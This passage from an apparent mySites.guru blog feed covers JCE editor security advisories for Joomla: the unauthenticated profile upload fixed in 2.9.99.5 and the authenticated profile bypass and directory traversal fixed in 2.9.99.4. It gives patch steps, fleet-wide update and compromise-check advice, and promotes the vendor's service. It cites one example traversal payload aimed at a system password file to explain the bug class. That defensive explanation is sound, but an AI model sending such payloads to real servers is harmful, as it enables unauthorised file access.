&lt;p&gt;If the update does not appear, check that JCE’s update site is enabled under &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Update Sites&lt;/strong&gt;. For JCE Pro, you also need a valid subscription key entered under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Options -&amp;gt; Subscription Key&lt;/strong&gt; for the Pro update channel to be reachable. JCE Free pulls updates from the Joomla extension feed and needs no key.&lt;/p&gt;
&lt;p&gt;After updating, hard-refresh the editor in a logged-in session to flush cached JCE assets. The version under &lt;strong&gt;Components -&amp;gt; JCE Editor&lt;/strong&gt; should read 2.9.99.5 once you reload.&lt;/p&gt;
&lt;h2&gt;How to find every Joomla site with a vulnerable JCE using mySites.guru&lt;/h2&gt;
&lt;p&gt;That is the easy case. The hard case is “I look after 40 client Joomla sites, and an unauthenticated file upload just got patched. Which of them are still vulnerable, right now?”&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the JCE 2.9.99.5 question in seconds instead of logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; in your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything on 2.9.99.4 or earlier needs the update. Sites already on 2.9.99.5, or which auto-updated overnight, are green.&lt;/p&gt;
&lt;p&gt;You can also separate JCE Free from JCE Pro if you run a mixed estate. Both editions ship the same fix in 2.9.99.5 from the same update server, but Pro needs a subscription key, so it helps to know which sites sit in which group when you start chasing the stragglers.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.4 or earlier needs the 2.9.99.5 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Push 2.9.99.5 across every affected site in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are vulnerable, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you select every site running an outdated JCE and trigger the update across all of them at once.&lt;/p&gt;
&lt;p&gt;The mass update screen groups every JCE install by the version it can update to, with an “Apply to all” button per group and per-site controls when you want to be selective. Sites stuck on much older branches (2.6, 2.7, 2.8) get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site’s connector, pulls the 2.9.99.5 package from JCE’s update server, installs it, and reports back with a pass or fail per site and a log entry against the site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;For agencies running &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled automation&lt;/a&gt;, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already covers JCE Free and JCE Pro through Joomla’s native extension update API.&lt;/p&gt;
&lt;h3&gt;Sites with auto-updates enabled were patched overnight&lt;/h3&gt;
&lt;p&gt;This is exactly the scenario automatic extension updates exist for. The mySites.guru auto-updater pushes security releases like 2.9.99.5 to opted-in Joomla sites without anyone logging in. If your sites are enrolled, the patch has been applied, the version is verified, and an audit entry is sitting in the activity log. If they are not, an unauthenticated file upload in your most-installed editor is a good reason to change that. Turn on automatic extension updates and the next time a popular extension ships a security fix, you wake up to “done” rather than “to do.” &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Enable auto-updates from your dashboard&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; if you do not have an account yet.&lt;/p&gt;
&lt;h2&gt;How quickly should you patch JCE 2.9.99.5?&lt;/h2&gt;
&lt;p&gt;Faster than you patched 2.9.99.4. Because this flaw is unauthenticated, the usual “only sites with registered users are at risk” reasoning does not apply. Any Joomla site with JCE installed is in scope.&lt;/p&gt;
&lt;h3&gt;Patch today&lt;/h3&gt;
&lt;p&gt;Any site that is publicly reachable and runs JCE, which is almost all of them, should be patched today. There is no functional change in 2.9.99.5 that would justify holding back, and the update is free and config-free for both Free and Pro.&lt;/p&gt;
&lt;h3&gt;Patch within 24 to 48 hours&lt;/h3&gt;
&lt;p&gt;That is the outside limit, even for low-traffic brochure sites with no registration. “No registered users” was a mitigating factor for 2.9.99.4. It is not one here.&lt;/p&gt;
&lt;p&gt;The risk calculus on an unauthenticated file upload is simple. Applying a clean security patch with no functional changes has essentially no risk. Leaving it unpatched means whatever a passing automated scanner decides to do with it, multiplied across every site you have not got to yet. JCE’s own 2012 history is the cautionary tale.&lt;/p&gt;
&lt;h2&gt;Edge cases and gotchas&lt;/h2&gt;
&lt;p&gt;A few things to watch when rolling 2.9.99.5 across an estate.&lt;/p&gt;
&lt;h3&gt;Lapsed JCE Pro subscriptions&lt;/h3&gt;
&lt;p&gt;Both editions pull updates from JCE’s own update server, not the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install’s subscription has lapsed, 2.9.99.5 will not appear in that site’s update list and the site sits on the vulnerable version. The fix is to renew, or to drop a temporary key into the site, pull the security release, then sort the renewal afterwards. A practical move is to scan your mySites.guru extension report 48 hours after release for any JCE Pro install still below 2.9.99.5. Those are almost certainly the lapsed subscriptions.&lt;/p&gt;
&lt;h3&gt;Sites still on JCE branches older than 2.9&lt;/h3&gt;
&lt;p&gt;A JCE 2.7.x or 2.8.x install on &lt;a href=&quot;https://joomla3security.com/vendors/jce/&quot;&gt;a long-tail Joomla 3 site&lt;/a&gt; is far more exposed than this single advisory implies. The 2.9.99.5 fix is for the current branch. Those older 2.7.x and 2.8.x lines have not received it and have years of unpatched issues on top. The right answer is to bring both Joomla and JCE up to date together. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration tooling&lt;/a&gt; helps triage which sites need the most work. If a client will not modernise, at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until it can be brought current.&lt;/p&gt;
&lt;p&gt;JCE 2.6.x is a special case: the developer confirms it is not affected by this unauthenticated upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported, so plan to migrate it, but it does not have this specific flaw.&lt;/p&gt;
&lt;h3&gt;For sites that cannot update: the free patch&lt;/h3&gt;
&lt;p&gt;The current patched release, 2.9.99.11, needs PHP 7.4 and Joomla 3.10 or later. For sites that cannot meet that yet, the JCE developer has released a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes this unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap: it closes the vulnerability only, without the later hardening from 2.9.99.6 onward, it is provided as-is, and it does not clean a site that was already compromised. Back up and test on a copy first, and still plan to move to a supported Joomla and PHP version, since end-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless.&lt;/p&gt;
&lt;h3&gt;Custom Editor Profiles with broad filesystem access&lt;/h3&gt;
&lt;p&gt;If you previously set up an Editor Profile with broad filesystem access (the whole &lt;code&gt;images/&lt;/code&gt; tree, or worse), audit it after updating. The 2.9.99.5 patch closes the unauthenticated upload route, but least privilege still applies. A profile with broad file permissions remains a high-value target for whatever the next JCE issue turns out to be. Review every profile under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Editor Profiles&lt;/strong&gt; on each site and lock each one to the narrowest path that still lets its user group work.&lt;/p&gt;
&lt;h3&gt;Checking for signs of compromise&lt;/h3&gt;
&lt;p&gt;Unlike the authenticated 2.9.99.4 bugs, this one leaves a fingerprint you can hunt for, because the malicious request needs no session. A retrospective audit on a higher-risk site looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pull the last 90 days of web server access logs and look for requests to JCE’s profile and filesystem endpoints, including upload or import actions, that have no Joomla session cookie. Unauthenticated requests are the ones that matter here.&lt;/li&gt;
&lt;li&gt;Audit your &lt;code&gt;images/&lt;/code&gt;, &lt;code&gt;media/&lt;/code&gt;, and any custom upload roots for files you did not put there, especially anything with a script extension or a recent timestamp that does not match a known change.&lt;/li&gt;
&lt;li&gt;Look for unexpected files anywhere a profile upload could have reached, not only the obvious media directories.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If anything looks intended, treat the site as a suspected compromise: rotate Joomla secrets, invalidate active sessions, and run mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; against the site to surface backdoors and modified files. For most sites the audit comes up empty, which is the point. Close the chapter rather than assuming nothing happened because nothing was reported.&lt;/p&gt;
&lt;h3&gt;JCE and the Joomla Backwards Compatibility plugin&lt;/h3&gt;
&lt;p&gt;The 2.9.99 branch is native to Joomla 5 and 6 and does not need the Backwards Compatibility plugin. If JCE is the only reason BC is enabled on a site, you can disable BC once 2.9.99.5 is in place, provided your other extensions are also BC-free. For an estate-wide audit of which sites still need BC, see our &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;Joomla compat plugin is a crutch&lt;/a&gt; write-up.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent advisory for WordPress. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this advisory. The Joomla half needs the update.&lt;/p&gt;
&lt;p&gt;The shape of this bug, an access control missing on a request that should have required authorisation, is a recurring one across both platforms. We dug into it in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt;, where endpoints that should check who is calling them simply do not, from Smart Slider 3 to Joomla core’s own &lt;code&gt;com_ajax&lt;/code&gt; router.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-05-28&lt;/strong&gt; 2.9.99.4 patches two authenticated-only flaws Both in the file browser, both needing a logged-in session. Worth doing, but not the same class of problem as what came a week later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-03&lt;/strong&gt; 2.9.99.5 closes an unauthenticated editor profile upload Insufficient access controls let unauthenticated users upload editor profiles, which the developer states could be exploited to upload arbitrary files to the server. Every version of JCE Free and Pro before this one is affected. The single difference from a week earlier, authenticated to unauthenticated, is what moves it from patch this week to patch now. It becomes CVE-2026-48907.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-08&lt;/strong&gt; 2.9.99.6 follows a four-day audit of the editor The developer goes looking for more after finding that one, narrowing entry points and hardening input validation across the codebase.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-09&lt;/strong&gt; Working exploit code for CVE-2026-48907 is published on GitHub We had already found the flaw being exploited on live sites before that. Any site still below 2.9.99.5 is now racing a published exploit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-16&lt;/strong&gt; CISA adds CVE-2026-48907 to its Known Exploited Vulnerabilities catalog Confirming real-world attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; 2.9.99.10 fixes a file rename flaw Two maintenance releases came in between, 2.9.99.7 on 18 June repairing an upload regression 2.9.99.6 introduced, and 2.9.99.8 on 2 July.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; 2.9.99.11 closes the 2.9 series The last release to add features to 2.9. JCE 3.0 is due within days, and 2.9 moves to maintenance, still receiving security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-5-released&quot;&gt;JCE Pro 2.9.99.5 release announcement&lt;/a&gt; - the developer&apos;s advisory and changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the developer confirms active exploitation and offers a free patch for sites that cannot update to the current release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 Security Update&lt;/a&gt; - the hardening release, with update notes through to the current 2.9.99.11&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free/Pro 2.9.99.4 Security Update&lt;/a&gt; - last week&apos;s authenticated-only release, for the full picture&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt; - direct package downloads for JCE Pro subscribers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/editing/editors/jce/&quot;&gt;JCE on the Joomla Extensions Directory&lt;/a&gt; - the JCE Free listing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking from the mySites.guru database, where JCE consistently ranks in the top two&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow used for rollouts like this&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE in scheduled overnight updates so the next advisory patches itself&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the recurring missing-authorisation pattern across Joomla and WordPress&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/jce-pro-2-9-99-5-security-update.png" length="0" type="image/png"/></item><item><title>JCE Free/Pro 2.9.99.4 Patches Two Authenticated Vulnerabilities in Joomla&apos;s Most Popular Editor</title><link>https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/</guid><description>JCE Free and JCE Pro 2.9.99.4 patch an Editor Profile authentication bypass and a directory traversal in filesystem search. Update JCE today.</description><pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;The whole story in one place&lt;/p&gt;&lt;div&gt;&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for the attack these flaws lead up to, with the indicators of compromise and the tool that finds and fixes it across every site you manage.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It is consistently one of the top two installs in our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. If you manage a stack of Joomla sites for clients, the odds that every single one of them has JCE installed are very high.&lt;/p&gt;
&lt;p&gt;On 28 May 2026, the JCE developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-4-released&quot;&gt;announced &lt;strong&gt;JCE Pro 2.9.99.4&lt;/strong&gt;&lt;/a&gt; and the matching JCE Free 2.9.99.4. It is a security maintenance release patching &lt;strong&gt;two related authenticated vulnerabilities&lt;/strong&gt; in the editor’s Editor Profile and filesystem search code. The fix shipped within 24 hours of the external security report arriving, which is fast.&lt;/p&gt;
&lt;p&gt;This post covers what was patched, what an attacker could and could not do with the original bugs, how to push the update across every Joomla site you manage with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt;, and why “authenticated only” is not the green light some site owners assume it is.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update: JCE has shipped several times since. The current version is 2.9.99.11&lt;/p&gt;&lt;p&gt;This page covers 2.9.99.4. Since then, the developer shipped &lt;strong&gt;2.9.99.5&lt;/strong&gt; (3 June) to fix a more serious &lt;strong&gt;unauthenticated&lt;/strong&gt; editor profile upload that could be used to upload arbitrary files (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;), then &lt;strong&gt;2.9.99.6&lt;/strong&gt; (8 June), a security hardening release following a full four-day audit of the editor, &lt;strong&gt;2.9.99.7&lt;/strong&gt; (18 June, an upload-regression fix and group whitelist), &lt;strong&gt;2.9.99.8&lt;/strong&gt; (2 July, a maintenance release that also hardens the File Browser), &lt;strong&gt;2.9.99.10&lt;/strong&gt; (29 July, an &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;authenticated file rename fix plus a broad hardening pass&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65891/&quot;&gt;CVE-2026-65891&lt;/a&gt;), and &lt;strong&gt;2.9.99.11&lt;/strong&gt; (15 September, the last 2.9 feature release before JCE 3.0). That unauthenticated flaw is now being &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;actively exploited with public exploit code&lt;/a&gt;. Do not stop at 2.9.99.4: &lt;strong&gt;update straight to the current 2.9.99.11&lt;/strong&gt;. &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;Read the JCE 2.9.99.6 advisory&lt;/a&gt; or the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 advisory&lt;/a&gt;. For sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10+), the developer offers a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; for JCE 2.7.x, 2.8.x and 2.9.x.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE Pro 2.9.99.4&lt;/strong&gt; and &lt;strong&gt;JCE Free 2.9.99.4&lt;/strong&gt; released 28 May 2026&lt;/li&gt;
&lt;li&gt;Patches two authenticated vulnerabilities affecting &lt;strong&gt;all previous 2.9.x versions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Bug 1: an authenticated user could access an Editor Profile they were not assigned to and invoke filesystem actions inside that profile’s restrictions&lt;/li&gt;
&lt;li&gt;Bug 2: a directory parameter in JCE’s filesystem search could be manipulated to list folder contents outside the configured root (directory traversal)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation required a logged-in Joomla session.&lt;/strong&gt; Anonymous visitors cannot trigger either bug&lt;/li&gt;
&lt;li&gt;No CVE numbers assigned at time of writing&lt;/li&gt;
&lt;li&gt;Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin&lt;/li&gt;
&lt;li&gt;Update via the Joomla Update Manager or the &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru’s mass updater&lt;/a&gt; lets you push the update to every affected site in one batch&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;Why “authenticated only” still matters&lt;/p&gt;&lt;p&gt;Any Joomla site with public registration, a customer portal, a contributor workflow, a membership area, or any non-Super-User account that can log in to the backend or frontend is in scope for this advisory. That is the majority of business Joomla sites. Authenticated-only does not mean admin-only.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What was actually patched in JCE 2.9.99.4?&lt;/h2&gt;
&lt;p&gt;The JCE security advisory describes two issues. Both are quoted from the developer’s release announcement:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;From the developer&apos;s release announcement&lt;/p&gt;&lt;div&gt;&lt;p&gt;Editor Profile access: an authenticated user could potentially access an Editor Profile that they are not assigned to and invoke filesystem actions available to that profile, but within the restrictions of that profile.&lt;/p&gt;&lt;p&gt;Filesystem search directory traversal: a directory parameter could be manipulated to list folder contents beyond configured boundaries.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To unpack what those actually mean, you need a quick refresher on how JCE is wired up.&lt;/p&gt;
&lt;h3&gt;A quick tour of JCE Editor Profiles&lt;/h3&gt;
&lt;p&gt;JCE’s distinctive feature is its Editor Profiles system. Instead of giving every logged-in user the same editor, JCE lets administrators define different profiles for different user groups. A registered user might get a minimal toolbar with no file uploads. A content editor might get image and file managers scoped to a specific media directory. A super user might get the full editor with arbitrary file operations.&lt;/p&gt;
&lt;p&gt;Each profile defines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which toolbar buttons are visible&lt;/li&gt;
&lt;li&gt;Which file types can be uploaded&lt;/li&gt;
&lt;li&gt;Which directories the editor can browse and upload into&lt;/li&gt;
&lt;li&gt;Which advanced features (templates, code view, character map, etc.) are exposed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The whole point is &lt;strong&gt;privilege separation inside the editor&lt;/strong&gt;. A subscriber should not be able to invoke the same filesystem actions as a super user, even if they somehow access the editor. The profile assignment is the boundary that enforces that.&lt;/p&gt;
&lt;h3&gt;Bug 1: Editor Profile assignment bypass&lt;/h3&gt;
&lt;p&gt;The first vulnerability allowed an authenticated user to invoke filesystem actions through an Editor Profile they were not assigned to. Before the patch, the assignment check in the relevant code path was either missing or could be bypassed by manipulating the request.&lt;/p&gt;
&lt;p&gt;The practical impact is constrained by the profile’s own permissions. The attacker is still bounded by what the unassigned profile is allowed to do, not promoted to super user. But if a site’s super-user-only profile permits, for example, image uploads to the entire &lt;code&gt;images/&lt;/code&gt; tree, a subscriber-level user could potentially route their request through that profile and upload there too, ignoring whatever restriction the subscriber’s intended profile imposed.&lt;/p&gt;
&lt;p&gt;This matters most on sites where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A high-privilege profile exists with broad filesystem access&lt;/li&gt;
&lt;li&gt;That profile is supposed to be locked to administrators or super users&lt;/li&gt;
&lt;li&gt;Lower-privilege user groups exist with frontend or backend login&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bug 2: Directory traversal in filesystem search&lt;/h3&gt;
&lt;p&gt;The second issue was a classic directory traversal. JCE has a filesystem search feature that lets the editor (within a profile’s allowed directories) search for files matching a query. The directory parameter to that search was not adequately sanitised. A manipulated parameter could traverse outside the configured root and list folder contents elsewhere on the server.&lt;/p&gt;
&lt;p&gt;Directory traversal vulnerabilities are usually summarised by an example payload like &lt;code&gt;../../../etc/passwd&lt;/code&gt;. In this case, the bug listed folder contents rather than reading file contents directly, which is a lower severity outcome than arbitrary file read. But folder listings still leak information an attacker can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Filenames of database backups left in unusual locations&lt;/li&gt;
&lt;li&gt;Names of &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;.git/&lt;/code&gt;, or &lt;code&gt;wp-config.php.bak&lt;/code&gt; style files&lt;/li&gt;
&lt;li&gt;The structure of other CMS installations on the same account&lt;/li&gt;
&lt;li&gt;Plugin and extension folders for fingerprinting other vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both bugs interact. The Editor Profile bypass widened &lt;em&gt;which&lt;/em&gt; profile an attacker could route through, and the directory traversal widened &lt;em&gt;where&lt;/em&gt; that profile could look. The patched 2.9.99.4 closes both.&lt;/p&gt;
&lt;h2&gt;What the JCE vulnerabilities actually let an attacker do&lt;/h2&gt;
&lt;p&gt;The advisory is explicit: &lt;strong&gt;exploitation required an active, authenticated Joomla session; unauthenticated access was not possible.&lt;/strong&gt; So an anonymous attacker scanning the internet for vulnerable Joomla sites cannot trigger either bug without an account. That puts this in a different category from Joomla CVE-2025-7771, Smart Slider 3 &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;arbitrary file read&lt;/a&gt;, or &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework’s&lt;/a&gt; unauthenticated file inclusion.&lt;/p&gt;
&lt;p&gt;With an account, though, the picture is less reassuring. A logged-in user could route filesystem actions through an Editor Profile they were never assigned to, bounded by whatever that profile permits but escaping the restrictions of their intended profile. If a super-user profile allowed image uploads to the whole &lt;code&gt;images/&lt;/code&gt; tree, a registered subscriber could potentially upload there too. Combine that with the directory traversal in filesystem search, and the same user could list folder contents outside the configured root, pulling filenames of backups, &lt;code&gt;.env&lt;/code&gt; files, &lt;code&gt;wp-config.php.bak&lt;/code&gt;, or the layout of adjacent CMS installs to fingerprint other targets.&lt;/p&gt;
&lt;p&gt;Neither bug grants direct arbitrary file read or RCE on its own, but both expand what a low-privilege account can see and where it can write inside a profile’s permitted operations. That is enough to matter on any site where the gap between “registered user” and “admin” is supposed to be a real boundary.&lt;/p&gt;
&lt;p&gt;That fact deflates the urgency somewhat, but it does not zero it out. The set of Joomla sites with at least one registered user beyond Super User is enormous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;E-commerce sites running VirtueMart, HikaShop or J2Store with customer accounts&lt;/li&gt;
&lt;li&gt;Membership sites with paid registrations&lt;/li&gt;
&lt;li&gt;Community forums (Kunena, EasyDiscuss)&lt;/li&gt;
&lt;li&gt;Multi-author publications with editor and author groups&lt;/li&gt;
&lt;li&gt;Anywhere user registration is enabled in Global Configuration, even if rarely used&lt;/li&gt;
&lt;li&gt;B2B portals where logged-in users are the entire audience&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of the above describes one of your client sites, authenticated-only is your problem too.&lt;/p&gt;
&lt;h2&gt;How to update JCE on a single Joomla site&lt;/h2&gt;
&lt;p&gt;For a single site, the update is unremarkable. Joomla’s built-in Extension Update tooling will pick up 2.9.99.4 automatically as soon as the JCE update server publishes it (which is now).&lt;/p&gt;
&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;System → Update → Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Check for Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the JCE row in the list&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the update does not appear, check that JCE’s update site is enabled at &lt;strong&gt;System → Update → Update Sites&lt;/strong&gt; and that the &lt;strong&gt;Joomla! Extensions Update&lt;/strong&gt; component itself has been run recently.&lt;/p&gt;
&lt;p&gt;For JCE Pro specifically, you need a valid subscription key entered in &lt;strong&gt;Components → JCE Editor → Options → Subscription Key&lt;/strong&gt; for the Pro update channel to be reachable. JCE Free users get their updates straight from the Joomla extension feed and do not need a key.&lt;/p&gt;
&lt;p&gt;After the update completes, hard-refresh the editor in a logged-in browser session to flush cached JCE assets. The version reported under &lt;strong&gt;Components → JCE Editor&lt;/strong&gt; should read 2.9.99.4 once you reload.&lt;/p&gt;
&lt;h2&gt;How to find every Joomla site with a vulnerable JCE using mySites.guru&lt;/h2&gt;
&lt;p&gt;That is the easy case. The hard case is “I look after 40 client Joomla sites. Which of them are running an old JCE?”&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version number. From that index you can answer the JCE 2.9.99.4 question in seconds rather than logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; inside your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You will see every version of JCE installed across your portfolio, grouped by version number, with every site that runs each version listed below it. Sites still on 2.9.99.3 or earlier are the ones that need attention. Sites already on 2.9.99.4 (or which auto-updated overnight) are green.&lt;/p&gt;
